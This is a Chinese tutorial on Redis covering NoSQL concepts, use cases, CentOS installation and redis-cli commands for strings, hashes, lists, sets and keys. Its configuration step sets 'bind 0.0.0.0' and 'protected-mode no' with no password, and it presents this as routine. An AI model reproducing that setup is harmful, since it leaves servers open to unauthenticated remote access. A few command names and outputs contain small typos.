Redis简介及Redis部署、原理和使用介绍

Redis简介及Redis部署、原理和使用介绍

[第1章]-NoSQL背景知识梳理

什么是NoSQL

  • NoSQL最常见的解释是“non-relational”,通常很多人也说解释为“Not Only SQL”
  • NoSQL仅仅是一个概念,泛指非关系型的数据库
  • 区别于关系数据库,它们不保证关系数据的ACID特性
  • NoSQL是一项全新的数据库革命性运动,提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入

NoSQL的特点

应用场景

  • 高并发的读写
  • 海量数据读写
  • 高可扩展性
  • 速度快

不适应的应用场景

  • 需要事务支持的场景
  • 基于sql的结构化查询存储,处理复杂的关系,需要即席查询

常见NoSQL数据库

memcache

  • 很早出现的NoSql数据库
  • 数据都在内存中,一般不持久化
  • 支持简单的key-value模式
  • 一般是作为缓存数据库辅助持久化的数据库

redis

  • 几乎覆盖了Memcached的绝大部分功能
  • 数据都在内存中,支持持久化,主要用作备份恢复
  • 除了支持简单的key-value模式,还支持多种数据结构的存储,比如 list、set、hash、zset等
  • 一般是作为缓存数据库辅助持久化的数据库
  • 现在市面上用得非常多且比较热门的一款内存数据库

mongoDB

  • 高性能、开源、模式自由(schema free)的文档型数据库
  • 数据都在内存中, 如果内存不足,把不常用的数据保存到硬盘
  • 虽然是key-value模式,但是对value(尤其是json)提供了丰富的查询功能
  • 支持二进制数据及大型对象
  • 可以根据数据的特点替代RDBMS ,成为独立的数据库。或者配合RDBMS,存储特定的数据

HBase

  • 强一致性读/写
    • HBASE不是“最终一致的”数据存储
    • 它非常适合于诸如高速计数器聚合等任务
  • 自动分块
    • HBase表通过Region分布在集群上,随着数据的增长,区域被自动拆分和重新分布
  • 自动RegionServer故障转移
  • Hadoop/HDFS集成
    • HBase支持HDFS开箱即用作为其分布式文件系统
  • MapReduce
    • HBase通过MapReduce支持大规模并行处理,将HBase用作源和接收器
  • 运行管理
    • HBase为业务洞察和JMX度量提供内置网页

[第2章]-Redis入门介绍

Redis简介

Redis中文官网

Redis中文官方网站:http://www.redis.cn/

官方网站可以快速查阅常用命令、使用手册、社区交流、下载安装包等等

Redis基本常识

  • Redis是当前比较热门的NoSQL框架之一
  • 它是一个开源的、使用ANSI C语言编写的key-value存储系统(区别于MySQL的二维表格形式存储)
  • 和Memcache类似,但很大程度补偿了Memcache的不足,Redis数据都是缓存在计算机内存中,不同的是,Memcache只能将数据缓存到内存中,无法自动定期写入硬盘,这就表示,一断电或重启,内存清空,数据丢失

Redis常见的业务使用场景

场景1:取最新N个数据

例如典型的取网站文章的最新评论,则可以将最新的5000条评论ID放在Redis的List集合中,并将超出集合部分从数据库获取

场景2:应用于各类排行榜,取TOP N的操作

​ 这个场景与上面取最新N个数据需求的不同之处在于,前面操作以时间为权重,而这个TOP N是以某个条件为权重,比如按点赞的次数排序,可以使用Redis的sorted set,将要排序的值设置成sorted set的score,将具体的数据设置成相应的value,每次只需要执行一条ZADD命令即可。

Redis zadd,命令用于将一个或多个成员元素及其分数值加入到有序集当中(简单了解即可)

  • 如果某个成员已经是有序集的成员,那么更新这个成员的分数值,并通过重新插入这个成员元素,来保证该成员在正确的位置上
  • 分数值可以是整数值或双精度浮点数。
  • 如果有序集合 key 不存在,则创建一个空的有序集并执行 zadd 操作
  • 当 key 存在但不是有序集类型时,返回一个错误

场景3:需要精准设定过期时间的应用

​ 比如可以把上面场景2说到的sorted set的score值设置成过期时间的时间戳,那么就可以简单地通过过期时间排序,定时清除过期数据了,不仅是清除Redis中的过期数据,你完全可以把Redis里这个过期时间当成是对数据库中数据的索引,用Redis来找出哪些数据需要过期删除,然后再精准地从数据库中删除相应的记录

场景4:计数器应用

Redis的命令都是原子性的,你可以轻松地利用INCR,DECR命令来构建计数器系统

命令:
incr key 对key存储的value值+1,并将最终的结果作为返回值;
decr key 对key存储的value值-1,并将最终的结果作为返回值;

场景5:Uniq操作,获取某段时间所有数据排重值

这个使用Redis的set数据结构最合适了,只需要不断地将数据往set中扔就行了,set意为集合,所以会自动排重

场景6:实时系统,反垃圾系统

通过上面场景5说到的set功能,后台可以获取一个终端用户此时是否进行了某个操作,可以找到其操作的集合并进行分析统计对比等。

场景7:缓存

将数据直接存放到内存中,性能优于Memcached,数据结构更多样化

Redis的特点

  • 高效性
    • Redis读取的速度是110000次/s,写的速度是81000次/s
  • 原子性
    • Redis的所有操作都是原子性的,同时Redis还支持对几个操作全并后的原子性执行
  • 支持多种数据结构
    • string(字符串)
    • list(列表)
    • hash(哈希)
    • set(集合)
    • zset(有序集合)
  • 稳定性:持久化,主从复制(集群)
  • 其他特性:支持过期时间,支持事务,消息订阅

此处的支持事务,注意redis的事务并不支持完整的acid事务,redis虽然提供事务功能,但redis的事务和关系数据库的事务不可同日而语,redis的事务只能保证隔离性和一致性,无法保证原子性和持久性。

[第3章]-Redis单机环境安装

redis的各类安装部署方式全部都归档在《redis各类方式部署》https://blog.csdn.net/wt334502157/article/details/123211953中,如仅仅只是想查阅安装部署,可以参照安装部署文章实践。本文档篇幅较大,注重所有redis的知识梳理与分享和开发api介绍,当然也包括安装部署内容。

Redis单机环境linux安装部署

redis安装包官方下载地址

在官方下载地址中可以下载到任意版本:http://download.redis.io/releases/

安装版本根据需要安装即可,方法流程基本一样

redis安装部署

[root@redis01 ~]# cat /etc/redhat-release 
CentOS Linux release 7.4.1708 (Core)
[root@redis01 ~]# mkdir -p /opt/software
[root@redis01 ~]# cd /opt/software
[root@redis01 software]# wget http://download.redis.io/releases/redis-3.2.8.tar.gz
[root@redis01 software]# tar -xf redis-3.2.8.tar.gz
[root@redis01 software]# ln -s redis-3.2.8 redis
[root@redis01 software]# ll
total 4
lrwxrwxrwx 1 root root   11 Sep 12 16:55 redis -> redis-3.2.8
drwxrwxr-x 6 root root 4096 Sep 12 16:52 redis-3.2.8
[root@redis01 redis]# cd redis
[root@redis01 redis]# make && make install
...
...
[root@redis01 redis]# mkdir /data
[root@redis01 redis]# mkdir -p /opt/software/redis/logs/
[root@redis01 redis]# vim redis.conf 
#常用需要更改的配置项:
daemonize yes  # 是否以守护进程启动
pidfile /opt/software/redis/redis_6379.pid   # 进程号文件的位置
port 6379    # 端口号
dir "/root/redis/data"  # 数据目录
logfile "/opt/software/redis/logs/6379.log"  # 日志位置及日志文件名
bind 0.0.0.0        # 0.0.0.0 可以远程访问
protected-mode no  # 保护模式

启动和关闭redis

# 启动redis
[root@redis01 redis]# /opt/software/redis/src/redis-server /opt/software/redis/redis.conf 
[root@redis01 redis]# 
[root@redis01 redis]# netstat -tnlpu|grep 6379
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      4475/redis-server 0 
[root@redis01 redis]# ps -ef | grep redis|grep -v grep 
root      4475     1  0 17:08 ?        00:00:00 /opt/software/redis/src/redis-server 0.0.0.0:6379
# 关闭redis
[root@redis01 redis]# src/redis-cli -h 127.0.0.1 shutdown
[root@redis01 redis]# netstat -tnlpu|grep 6379
[root@redis01 redis]# ps -ef | grep redis|grep -v grep 
[root@redis01 redis]# 
# 此时redis已经被关闭,再次启动redis
[root@redis01 redis]# /opt/software/redis/src/redis-server /opt/software/redis/redis.conf

连接redis

# -h指定redis的服务ip地址,不加默认本地localhost
[root@redis01 redis]# src/redis-cli -h 39.101.78.174
39.101.78.174:6379> 
# 当输入ping命令时,如果redis可以返回PONG,则连接正常
39.101.78.174:6379> ping
PONG

[第4章]-Redis的数据类型介绍

Redis常见使用最多的五种数据类型

类型1:字符串string操作

1.设置指定key的值

  • SET key value
39.101.78.174:6379> SET hello world
OK

2.获取指定 key 的值

  • GET key
39.101.78.174:6379> GET hello
"world"

3.将给定 key 的值设为 value ,并返回 key 的旧值(old value)

  • GETSET key value
39.101.78.174:6379> GETSET hello newworld
"world"
39.101.78.174:6379> GET hello
"newworld"

4.获取所有(一个或多个)给定 key 的值

  • MGET key1 key2 [key3…]
39.101.78.174:6379> SET k1 v1
OK
39.101.78.174:6379> SET k2 v2
OK
39.101.78.174:6379> SET k3 v3
OK
39.101.78.174:6379> MGET k1 k2 k3
1) "v1"
2) "v2"
3) "v3"
39.101.78.174:6379> 

5.将值 value 关联到 key ,并将 key 的过期时间设为 seconds (以秒为单位)

  • SETEX key seconds value
39.101.78.174:6379> SETEX hello 10 world3
OK
39.101.78.174:6379> get hello
"world3"
# 等待超过10秒后再次查询
39.101.78.174:6379> get hello
(nil)
39.101.78.174:6379> 

6.只有在 key 不存在时设置 key 的值

  • SETNX key value
39.101.78.174:6379> GET k3
"v3"
39.101.78.174:6379> SETNX k3 v33
(integer) 0
# k3已有v3的值所以设置失败
39.101.78.174:6379> GET k3
"v3"
39.101.78.174:6379> SETNX k4 v4
(integer) 1
39.101.78.174:6379> GET k4
"v4"
39.101.78.174:6379> SETNX k4 v44
(integer) 0
39.101.78.174:6379> GET k4
"v4"
39.101.78.174:6379> 

7.返回 key 所储存的字符串值的长度

  • STRLEN key
39.101.78.174:6379> SET a a
OK
39.101.78.174:6379> SET bb bb
OK
39.101.78.174:6379> SET ccc ccc
OK
39.101.78.174:6379> SET dddd dddd
OK
39.101.78.174:6379> STRLEN a
(integer) 1
39.101.78.174:6379> STRLEN bb
(integer) 2
39.101.78.174:6379> STRLEN ccc
(integer) 3
39.101.78.174:6379> STRLEN dddd
(integer) 4
39.101.78.174:6379> STRLEN k1
(integer) 2
39.101.78.174:6379> STRLEN k2
(integer) 2

8.同时设置一个或多个 key-value 对

  • MSET key value [key value …]
39.101.78.174:6379> MSET k5 v5 k6 v6 k7 v7
OK
39.101.78.174:6379> GET k5
"v5"
39.101.78.174:6379> GET k6
"v6"
39.101.78.174:6379> GET k7
"v7"
39.101.78.174:6379> 

9.同时设置一个或多个 key-value 对,当且仅当所有给定 key 都不存在

  • MSETNX key value [key value …]
39.101.78.174:6379> MSETNX k7 v7 k8 v8 k9 v9 k10 v10
(integer) 0
# 因为k7-k10中,k7已经存在,所以设置失败
39.101.78.174:6379> GET k8
(nil)
39.101.78.174:6379> MSETNX k8 v8 k9 v9 k10 v10
(integer) 1
39.101.78.174:6379> GET k8
"v8"
39.101.78.174:6379> 

10.PSETEX命令,这个命令和 SETEX 命令相似,但它以毫秒为单位设置 key 的生存时间,而不是像 SETEX 命令那样,以秒为单位

  • PSETEX key milliseconds value
39.101.78.174:6379> PSETEX k11 10000 v11
OK
39.101.78.174:6379> GET k11
"v11"
39.101.78.174:6379> GET k11
(nil)
39.101.78.174:6379> 

11.将 key 中储存的数字值增一

  • INCR key
39.101.78.174:6379> SET tps 1
OK
39.101.78.174:6379> GET tps
"1"
39.101.78.174:6379> INCR tps
(integer) 2
39.101.78.174:6379> GET tps
"2"
39.101.78.174:6379> INCR tps
(integer) 3
39.101.78.174:6379> GET tps
"3"
39.101.78.174:6379> 

12.将key所储存的值加上给定的增量值(increment)

  • INCRBY key increment
39.101.78.174:6379> GET tps
"3"
39.101.78.174:6379> INCRBY tps 10
(integer) 13
39.101.78.174:6379> GET tps
"13"
39.101.78.174:6379> INCRBY tps 2
(integer) 15
39.101.78.174:6379> GET tps
"15"
39.101.78.174:6379> 

13.将 key 所储存的值加上给定的浮点增量值(increment)

  • INCRBYFLOAT key increment
39.101.78.174:6379> SET score 50
OK
39.101.78.174:6379> GET score
"50"
39.101.78.174:6379> INCRBYFLOAT score 0.5
"50.5"
39.101.78.174:6379> GET score
"50.5"
39.101.78.174:6379> INCRBYFLOAT score 7.5
"58"
39.101.78.174:6379> GET score
"58"
39.101.78.174:6379> INCRBYFLOAT score 1
"59"
39.101.78.174:6379> GET score
"59"
# 对比INCRBY
39.101.78.174:6379> INCRBY score 1
(integer) 60
39.101.78.174:6379> GET score
"60"
39.101.78.174:6379> INCRBY score 0.5
(error) ERR value is not an integer or out of range
39.101.78.174:6379> GET score
"60"
39.101.78.174:6379> 

14.将 key 中储存的数字值减一

  • DECR key
39.101.78.174:6379> GET tps
"15"
39.101.78.174:6379> DECR tps
(integer) 14
39.101.78.174:6379> GET tps
"14"
39.101.78.174:6379> DECR tps
(integer) 13
39.101.78.174:6379> GET tps
"13"

15.key 所储存的值减去给定的减量值(decrement)

  • DECRBY key decrement
39.101.78.174:6379> GET tps
"13"
39.101.78.174:6379> DECRBY tps 3
(integer) 10
39.101.78.174:6379> GET tps
"10"
39.101.78.174:6379> DECRBY tps 2
(integer) 8
39.101.78.174:6379> GET tps
"8"
# 可以传负数
39.101.78.174:6379> DECRBY tps -1
(integer) 9
39.101.78.174:6379> GET tps
"9"
# 对比DECR则报错
39.101.78.174:6379> DECR tps 2
(error) ERR wrong number of arguments for 'decr' command
39.101.78.174:6379> 

16.APPEND命令,如果 key 已经存在并且是一个字符串, APPEND 命令将指定的 value 追加到该 key 原来值(value)的末尾

  • APPEND key value
39.101.78.174:6379> SET wang t
OK
39.101.78.174:6379> GET wang
"t"
39.101.78.174:6379> APPEND wang i
(integer) 2
39.101.78.174:6379> GET wang
"ti"
39.101.78.174:6379> APPEND wang n
(integer) 3
39.101.78.174:6379> GET wang
"tin"
39.101.78.174:6379> APPEND wang g
(integer) 4
39.101.78.174:6379> GET wang
"ting"
39.101.78.174:6379> 
39.101.78.174:6379> APPEND wang _
(integer) 5
39.101.78.174:6379> GET wang
"ting_"
39.101.78.174:6379> APPEND wang 666
(integer) 8
39.101.78.174:6379> GET wang
"ting_666"
39.101.78.174:6379> 

类型2:hash列表操作

Redis hash 是一个string类型的field和value的映射表,hash特别适合用于存储对象。

Redis 中每个 hash 可以存储 232 - 1 键值对

1.将哈希表 key 中的字段 field 的值设为 value

  • HSET key field value
39.101.78.174:6379> HSET key1 field1 value1
(integer) 1
39.101.78.174:6379> HGET key1 field1
"value1"
39.101.78.174:6379> 

2.只有在字段 field 不存在时,设置哈希表字段的值

  • HSETNX key field value
127.0.0.1:6379> HGET key1 field1
"value1"
127.0.0.1:6379> HSETNX key1 field1 value2
(integer) 0
127.0.0.1:6379> HGET key1 field1
"value1"
127.0.0.1:6379> HSETNX key1 field2 value2
(integer) 1
127.0.0.1:6379> HGET key1 field2
"value2"
127.0.0.1:6379> 

3.同时将多个 field-value (域-值)对设置到哈希表 key 中

  • HMSET key field1 value1 [field2 value2 …]
127.0.0.1:6379> HMSET key1 field3 value3 field4 value4 field5 value5
OK
127.0.0.1:6379> HGET key1 field3
"value3"
127.0.0.1:6379> HGET key1 field4
"value4"
127.0.0.1:6379> HGET key1 field5
"value5"
127.0.0.1:6379> 

4.查看哈希表 key 中,指定的字段是否存在

  • HEXISTS key field
127.0.0.1:6379> HEXISTS key1 field1
(integer) 1
127.0.0.1:6379> HEXISTS key1 field2
(integer) 1
127.0.0.1:6379> HEXISTS key1 field100
(integer) 0
127.0.0.1:6379> 

5.获取在哈希表中指定 key 的所有字段和值

  • HGETALL key
127.0.0.1:6379> HGETALL key1
 1) "field1"
 2) "value1"
 3) "field2"
 4) "value2"
 5) "field3"
 6) "value3"
 7) "field4"
 8) "value4"
 9) "field5"
10) "value5"
127.0.0.1:6379> 

6.获取所有哈希表中的字段

  • HKEY key
127.0.0.1:6379> HKEYS key1
1) "field1"
2) "field2"
3) "field3"
4) "field4"
5) "field5"
127.0.0.1:6379> 

7.获取哈希表中字段的数量

  • HLEN key
127.0.0.1:6379> HLEN key1
(integer) 5
127.0.0.1:6379> HSET key1 field6 value6
(integer) 1
127.0.0.1:6379> HLEN key1
(integer) 6
127.0.0.1:6379> 

8.获取所有给定字段的值

  • HMGET key field1 field2 …
127.0.0.1:6379> HMGET key1 field1 field3 field5
1) "value1"
2) "value3"
3) "value5"
127.0.0.1:6379> 

9.为哈希表 key 中的指定字段的整数值加上增量 increment

  • HINCRBY key field increment
127.0.0.1:6379> HSET key2 field1 100
(integer) 1
127.0.0.1:6379> HGET key2 field1
"100"
127.0.0.1:6379> HINCRBY key2 field1 2
(integer) 102
127.0.0.1:6379> HINCRBY key2 field1 2
(integer) 104
127.0.0.1:6379> HGET key2 field1
"104"
127.0.0.1:6379> 

10.为哈希表 key 中的指定字段的浮点数值加上增量 increment

  • HINCRBYFLOAT key field increment
127.0.0.1:6379> HGET key2 field1
"104"
127.0.0.1:6379> HINCRBYFLOAT key2 field1 0.01
"104.01"
127.0.0.1:6379> HGET key2 field1
"104.01"
127.0.0.1:6379> HINCRBYFLOAT key2 field1 10.1
"114.11"
127.0.0.1:6379> HGET key2 field1
"114.11"
127.0.0.1:6379> 

11.获取哈希表中所有值

  • HVALS key
127.0.0.1:6379> HVALS key1
1) "value1"
2) "value2"
3) "value3"
4) "value4"
5) "value5"
6) "value6"
127.0.0.1:6379> HVALS key2
1) "114.11"
127.0.0.1:6379> 

12.删除一个或多个哈希表字段

  • HDEL key field1 field2 …
127.0.0.1:6379> HKEYS key1
1) "field1"
2) "field2"
3) "field3"
4) "field4"
5) "field5"
6) "field6"
127.0.0.1:6379> HDEL key1 field1 field3
(integer) 2
127.0.0.1:6379> HKEYS key1
1) "field2"
2) "field4"
3) "field5"
4) "field6"
127.0.0.1:6379> HVALS key1
1) "value2"
2) "value4"
3) "value5"
4) "value6"
127.0.0.1:6379> 

类型3:list列表操作

​ Redis列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)

一个列表最多可以包含 232 - 1 个元素 (4294967295, 每个列表超过40亿个元素)

1.将一个或多个值插入到列表头部

  • LPUSH key value1 value2 …
127.0.0.1:6379> LPUSH l1 v1 v2 v3
(integer) 3

2.查看list当中所有的数据

  • LRANGE key start stop
127.0.0.1:6379> LRANGE l1 0 100
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> LRANGE l1 0 1
1) "v3"
2) "v2"
127.0.0.1:6379> LRANGE l1 0 2
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> LRANGE l1 0 0
1) "v3"
127.0.0.1:6379> LRANGE l1 -10 2
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> 
# 0 -1 所有数据
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"

3.将一个值插入到已存在的列表头部

  • LPUSH key value
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> LPUSH l1 V4
(integer) 4
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
127.0.0.1:6379> LINDEX l1 0
"V4"
127.0.0.1:6379> 

4.在列表中添加一个或多个值到尾部

  • RPUSH key value1 value2 …
127.0.0.1:6379> RPUSH l1 v5 v6 v7 v8
(integer) 8
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
5) "v5"
6) "v6"
7) "v7"
8) "v8"
127.0.0.1:6379> 

5.为已存在的列表添加单个值到尾部

  • RPUSH key value
127.0.0.1:6379> RPUSH l1 v9
(integer) 9
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
5) "v5"
6) "v6"
7) "v7"
8) "v8"
9) "v9"
127.0.0.1:6379> 

6.在列表的元素前或者后插入元素

  • LINSERT key BEFORE|AFTER pivot value
127.0.0.1:6379> LINSERT l1 BEFORE v5 before_v5
(integer) 10
127.0.0.1:6379> LINSERT l1 AFTER v7 after_v7
(integer) 11
127.0.0.1:6379> LRANGE l1 0 -1
 1) "V4"
 2) "v3"
 3) "v2"
 4) "v1"
 5) "before_v5"
 6) "v5"
 7) "v6"
 8) "v7"
 9) "after_v7"
10) "v8"
11) "v9"
127.0.0.1:6379> 

7.通过索引获取列表中的元素

  • LINDEX key index
127.0.0.1:6379> LINDEX l1 0
"V4"
127.0.0.1:6379> LINDEX l1 8
"after_v7"
127.0.0.1:6379> 

8.通过索引设置列表元素的值

  • LSET key index value
127.0.0.1:6379> LINDEX l1 5
"v5"
127.0.0.1:6379> LSET l1 5 v555
OK
127.0.0.1:6379> LINDEX l1 5
"v555"

9.获取列表长度

  • LLEN key
127.0.0.1:6379> LLEN l1
(integer) 11

10.移出并获取列表的第一个元素

  • LPOP key
127.0.0.1:6379> LRANGE l1 0 -1
 1) "V4"
 2) "v3"
 3) "v2"
 4) "v1"
 5) "before_v5"
 6) "v5"
 7) "v6"
 8) "v7"
 9) "after_v7"
10) "v8"
11) "v9"
127.0.0.1:6379> LINDEX l1 0
"V4"
127.0.0.1:6379> LPOP l1
"V4"

11.移除列表的最后一个元素,返回值为移除的元素

  • RPOP key
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
4) "before_v5"
5) "v555"
6) "v6"
7) "v7"
8) "after_v7"
9) "v8"
10) "v9"
127.0.0.1:6379> RPOP l1
"V9"

12.移出并获取列表的第一个元素,如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止

  • BLPOP key1 [key2 ] timeout
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
4) "before_v5"
5) "v555"
6) "v6"
7) "v7"
8) "after_v7"
9) "v8"
127.0.0.1:6379> BLPOP l1 2000
1) "l1"
2) "v3"
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
6) "v7"
7) "after_v7"
8) "v8"

13.移出并获取列表的最后一个元素, 如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止

  • BRPOP key1 [key2 ] timeout
127.0.0.1:6379> BRPOP l1 2000
1) "l1"
2) "v8"

14.移除列表的最后一个元素,并将该元素添加到另一个列表并返回

  • RPOPLPUSH source destination
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
6) "v7"
7) "after_v7"
127.0.0.1:6379> LRANGE l2 0 -1
(empty list or set)
127.0.0.1:6379> RPOPLPUSH l1 l2
"after_v7"
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
6) "v7"
127.0.0.1:6379> LRANGE l2 0 -1
1) "after_v7"

15.从列表中弹出一个值,将弹出的元素插入到另外一个列表中并返回它; 如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止

  • BRPOPLPUSH source destination timeout
127.0.0.1:6379> BRPOPLPUSH l1 l2 2000
"v7"
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
127.0.0.1:6379> LRANGE l2 0 -1
1) "v7"
2) "after_v7"

16.对一个列表进行修剪(trim),让列表只保留指定区间内的元素,不在指定区间之内的元素都将被删除

  • LTRIM key start stop
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
127.0.0.1:6379> LTRIM l1 0 2
OK
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"

17.删除指定key的列表

  • DEL key
127.0.0.1:6379> DEL l2
(integer) 1
127.0.0.1:6379> LRANGE l2 0 -1
(empty list or set)

类型4:set无序集合操作

  • Redis 的 Set 是 String 类型的无序集合。集合成员是唯一的,这就意味着集合中不能出现重复的数据
  • Redis 中集合是通过哈希表实现的,所以添加,删除,查找的复杂度都是 0(1)。
  • 集合中最大的成员数为 232 - 1

1.向集合添加一个或多个成员

  • SADD key member1 member1 …
127.0.0.1:6379> SADD set1 v1 v2
(integer) 2

2.返回集合中的所有成员

  • SMEMBERS key
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"

3.获取集合的成员数

  • SCARD key
127.0.0.1:6379> SCARD set1
(integer) 2
127.0.0.1:6379> SADD set1 v3
(integer) 1
127.0.0.1:6379> SCARD set1
(integer) 3

4.返回给定所有集合的差集

  • SDIFF key1 key2 …
127.0.0.1:6379> SADD set2 v1 v3 v4
(integer) 3
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SDIFF set1 set2
1) "v2"

5.返回给定所有集合的差集并存储在destination中

  • SDIFFSTORE destination key1 key2 …
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set3
(empty list or set)
127.0.0.1:6379> SDIFFSTORE set3 set1 set2
(integer) 1
127.0.0.1:6379> SMEMBERS set3
1) "v2"

6.返回给定所有集合的交集

  • SINTER key1 key2 …
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SINTER set1 set2
1) "v1"
2) "v3"

7.返回给定所有集合的交集并存储在 destination 中

  • SINTERSTORE destination key1 key2 …
127.0.0.1:6379> SINTERSTORE set4 set1 set2
(integer) 2
127.0.0.1:6379> SMEMBERS set4
1) "v1"
2) "v3"

8.判断member元素是否是集合 key 的成员

  • SISMEMBER key member
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SISMEMBER set1 v1
(integer) 1
127.0.0.1:6379> SISMEMBER set1 v4
(integer) 0

9.将 member 元素从 source 集合移动到 destination 集合

  • SMOVE source destination member
127.0.0.1:6379> SMEMBERS set3
1) "v2"
127.0.0.1:6379> SMEMBERS set4
1) "v1"
2) "v3"
127.0.0.1:6379> SMOVE set3 set4 v2
(integer) 1
127.0.0.1:6379> SMEMBERS set4
1) "v2"
2) "v1"
3) "v3"

10.移除并返回集合中的一个随机元素

  • SPOP key
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SPOP set2
"v4"
127.0.0.1:6379> SPOP set2
"v1"
127.0.0.1:6379> SMEMBERS set2
1) "v3"

11.返回集合中一个或多个随机数

  • SRANDMEMBER key [count]
127.0.0.1:6379> SRANDMEMBER set1
"v3"
127.0.0.1:6379> SRANDMEMBER set1 2
1) "v1"
2) "v3"
127.0.0.1:6379> SRANDMEMBER set1 2
1) "v2"
2) "v1"

12.移除集合中一个或多个成员

  • SREM key member1 [member2 …]
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SREM set1 v1 v2
(integer) 2
127.0.0.1:6379> SMEMBERS set1
1) "v3"

13.返回所有给定集合的并集

  • SUNION key1 [key2]
127.0.0.1:6379> SADD set1 v5 v6 v7
(integer) 3
127.0.0.1:6379> SMEMBERS set1
1) "v7"
2) "v5"
3) "v6"
4) "v3"
127.0.0.1:6379> SADD set2 v8 v9 
(integer) 2
127.0.0.1:6379> SMEMBERS set2
1) "v9"
2) "v8"
3) "v3"
127.0.0.1:6379> SUNION set1 set2
1) "v3"
2) "v5"
3) "v6"
4) "v9"
5) "v7"
6) "v8"

14.所有给定集合的并集存储在 destination 集合中

  • SUNIONSTORE destination key1 [key2]
127.0.0.1:6379> SUNIONSTORE set5 set1 set2
(integer) 6
127.0.0.1:6379> SMEMBERS set5
1) "v3"
2) "v5"
3) "v6"
4) "v9"
5) "v7"
6) "v8"

针对key的操作

1.DEL删除key,该命令用于在 key 存在时删除 key

  • DEL key
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "key2"
7) "key1"
8) "l1"
127.0.0.1:6379> DEL key1 key2
(integer) 2
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"

2.序列化给定 key ,并返回被序列化的值

  • DUMP key
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> DUMP k1
"\x00\x02v1\a\x00\xa0\xd7e\xad\xc3\x9a\xacA"

3.检查给定 key 是否存在

  • EXISTS key
127.0.0.1:6379> EXISTS k1
(integer) 1
127.0.0.1:6379> EXISTS k100
(integer) 0

4.为给定 key 设置过期时间,单位为秒

  • EXPIRE key seconds
127.0.0.1:6379> EXPIRE k1 8
(integer) 1
127.0.0.1:6379> EXISTS k1
(integer) 1
# 等待超过8秒后查询
127.0.0.1:6379> EXISTS k1
(integer) 0
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"

5.设置 key 的过期时间以毫秒计

  • PEXPIRE key milliseconds
127.0.0.1:6379> SET k2 v2
OK
127.0.0.1:6379> PEXPIRE k2 3000
(integer) 1
127.0.0.1:6379> GET k2
"v2"
#  等待超过3秒后查询
127.0.0.1:6379> GET k2
(nil)

6.查找所有符合给定模式( pattern)的 key

  • KEYS pattern
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"
127.0.0.1:6379> keys set*
1) "set1"
2) "set5"
3) "set4"
4) "set2"
127.0.0.1:6379> keys *1
1) "L1"
2) "set1"
3) "l1"

7.移除 key 的过期时间,key 将持久保持

  • PERSIST key
127.0.0.1:6379> SET k1 v1
OK
127.0.0.1:6379> EXPIRE k1 15
(integer) 1
# 在过期之前执行PERSIST解除过期
127.0.0.1:6379> PERSIST k1
(integer) 1
# 等待超过15秒后查询依然可以查询到
127.0.0.1:6379> GET k1
"v1"

8.以毫秒为单位返回 key 的剩余的过期时间

  • PTTL key
127.0.0.1:6379> EXPIRE k1 30
(integer) 1
127.0.0.1:6379> PTTL k1
(integer) 23007
127.0.0.1:6379> PTTL k1
(integer) 17000

9.以秒为单位,返回给定 key 的剩余生存时间

  • TTL key
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> EXPIRE k1 30
(integer) 1
127.0.0.1:6379> TTL k1
(integer) 24
127.0.0.1:6379> TTL k1
(integer) 17

10.从当前数据库中随机返回一个 key

  • RANDOMKEY
